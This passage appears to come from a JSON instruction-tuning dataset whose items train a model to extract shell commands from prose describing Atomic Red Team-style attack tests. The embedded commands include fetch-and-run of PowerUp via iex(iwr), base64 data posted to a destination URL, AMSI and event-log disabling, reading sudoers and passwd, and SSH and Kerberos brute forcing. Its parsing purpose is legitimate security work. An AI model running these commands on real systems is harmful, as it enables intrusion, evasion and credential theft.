Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To gather network configuration details similar to Trickbot's methodology, run the following commands: ipconfig /all\nnet config workstation\nnet view /all /domain\nnltest /domain_trusts\n; This technique, inspired by Black Hills InfoSec, tests outbound ports by running the following script, which checks connectivity and logs results to Desktop\\open-ports.txt:\n$ports = Get-content \"#{port_file}\"\n$file = \"#{output_file}\"\n$totalopen = 0\n$totalports = 0\nNew-Item $file -Force\nforeach ($port in $ports) {\n    $test = new-object system.Net.Sockets.TcpClient\n    $wait = $test.beginConnect(\"allports.exposed\", $port, $null, $null)\n    $wait.asyncwaithandle.waitone(250, $false) | Out-Null\n    $totalports++ | Out-Null\n    if ($test.Connected) {\n        $result = \"$port open\" \n        Write-Host -ForegroundColor Green $result\n        $result | Out-File -Encoding ASCII -append $file\n        $totalopen++ | Out-Null\n    }\n    else {\n        $result = \"$port closed\" \n        Write-Host -ForegroundColor Red $result\n        $totalclosed++ | Out-Null\n        $result | Out-File -Encoding ASCII -append $file\n    }\n}\n$results = \"There were a total of $totalopen open ports out of $totalports ports tested.\"\n$results | Out-File -Encoding ASCII -append $file\nWrite-Host $results\n",
    "output": "{\"command_list\": [\"ipconfig /all\\nnet config workstation\\nnet view /all /domain\\nnltest /domain_trusts\\n\", \"$ports = Get-content \\\"#{port_file}\\\"\\n$file = \\\"#{output_file}\\\"\\n$totalopen = 0\\n$totalports = 0\\nNew-Item $file -Force\\nforeach ($port in $ports) {\\n    $test = new-object system.Net.Sockets.TcpClient\\n    $wait = $test.beginConnect(\\\"allports.exposed\\\", $port, $null, $null)\\n    $wait.asyncwaithandle.waitone(250, $false) | Out-Null\\n    $totalports++ | Out-Null\\n    if ($test.Connected) {\\n        $result = \\\"$port open\\\" \\n        Write-Host -ForegroundColor Green $result\\n        $result | Out-File -Encoding ASCII -append $file\\n        $totalopen++ | Out-Null\\n    }\\n    else {\\n        $result = \\\"$port closed\\\" \\n        Write-Host -ForegroundColor Red $result\\n        $totalclosed++ | Out-Null\\n        $result | Out-File -Encoding ASCII -append $file\\n    }\\n}\\n$results = \\\"There were a total of $totalopen open ports out of $totalports ports tested.\\\"\\n$results | Out-File -Encoding ASCII -append $file\\nWrite-Host $results\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When root access is available, you can examine the sudoers configuration with this command: if [ -f /etc/sudoers ]; then sudo cat /etc/sudoers > #{output_file}; fi;\nif [ -f /usr/local/etc/sudoers ]; then sudo cat /usr/local/etc/sudoers > #{output_file}; fi;\ncat #{output_file}; To view accounts with UID 0, run the following command: grep 'x:0:' /etc/passwd > #{output_file}\ngrep '*:0:' /etc/passwd >> #{output_file}\ncat #{output_file} 2>/dev/null\n",
    "output": "{\"command_list\": [\"if [ -f /etc/sudoers ]; then sudo cat /etc/sudoers > #{output_file}; fi;\\nif [ -f /usr/local/etc/sudoers ]; then sudo cat /usr/local/etc/sudoers > #{output_file}; fi;\\ncat #{output_file}\\n\", \"grep 'x:0:' /etc/passwd > #{output_file}\\ngrep '*:0:' /etc/passwd >> #{output_file}\\ncat #{output_file} 2>/dev/null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A common technique for posting base64 encoded data can be implemented by running the following command: echo -n 111-11-1111 | base64\ncurl -XPOST #{base64_data}.#{destination_url}; This method encodes and posts data via the command: echo -n 111-11-1111 | b64encode -r -\ncurl -XPOST #{base64_data}.#{destination_url}",
    "output": "{\"command_list\": [\"echo -n 111-11-1111 | base64\\ncurl -XPOST #{base64_data}.#{destination_url}\\n\", \"echo -n 111-11-1111 | b64encode -r -\\ncurl -XPOST #{base64_data}.#{destination_url}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable the AMSI function, the threat actor can create a registry value named \"AmsiEnable\" under \"HKCU\\Software\\Microsoft\\Windows Script\\Settings\" and set it to 0, using the following commands: \nNew-Item -Path \"HKCU:\\Software\\Microsoft\\Windows Script\\Settings\" -Force | Out-Null\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows Script\\Settings\" -Name \"AmsiEnable\" -Value 0 -PropertyType DWORD -Force | Out-Null\n; This atomic test simulates an attacker disabling the EventLog-Application channel by modifying the registry with this command: reg add \"HKLM\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application\" /v \"Start\" /t REG_DWORD /d \"0\" /f. The modification will be applied after the next system reboot.",
    "output": "{\"command_list\": [\"New-Item -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows Script\\\\Settings\\\" -Force | Out-Null\\nNew-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows Script\\\\Settings\\\" -Name \\\"AmsiEnable\\\" -Value 0 -PropertyType DWORD -Force | Out-Null\\n\", \"reg add \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Application\\\" /v \\\"Start\\\" /t REG_DWORD /d \\\"0\\\" /f\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To attempt SSH logins using credentials from a password dump, run the following commands: cp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/\nfor unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d\":\" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d\":\" -f1`@#{target_host};done; To perform a bruteforce attack using username and password combinations from a file or stdin (format username:password), use the following command:\ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} \"PathToAtomicsFolder\\..\\ExternalPayloads\\bruteforce.txt\"",
    "output": "{\"command_list\": [\"cp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/\\nfor unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d\\\":\\\" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d\\\":\\\" -f1`@#{target_host};done\\n\", \"cd \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n.\\\\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\bruteforce.txt\\\"      \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test searches for files across multiple directories, outputting the results with the command:\ndir /s c:\\ >> #{output_file}\ndir /s \"c:\\Documents and Settings\" >> #{output_file}\ndir /s \"c:\\Program Files\\\" >> #{output_file}\ndir \"%systemdrive%\\Users\\*.*\" >> #{output_file}\ndir \"%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*\" >> #{output_file}\ndir \"%userprofile%\\Desktop\\*.*\" >> #{output_file}\ntree /F >> #{output_file}\n; To explore the file system and display all files and folders, use the following command:\nls -recurse\nget-childitem -recurse\ngci -recurse\n",
    "output": "{\"command_list\": [\"dir /s c:\\\\ >> #{output_file}\\ndir /s \\\"c:\\\\Documents and Settings\\\" >> #{output_file}\\ndir /s \\\"c:\\\\Program Files\\\\\\\" >> #{output_file}\\ndir \\\"%systemdrive%\\\\Users\\\\*.*\\\" >> #{output_file}\\ndir \\\"%userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\\\\*.*\\\" >> #{output_file}\\ndir \\\"%userprofile%\\\\Desktop\\\\*.*\\\" >> #{output_file}\\ntree /F >> #{output_file}\\n\", \"ls -recurse\\nget-childitem -recurse\\ngci -recurse\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
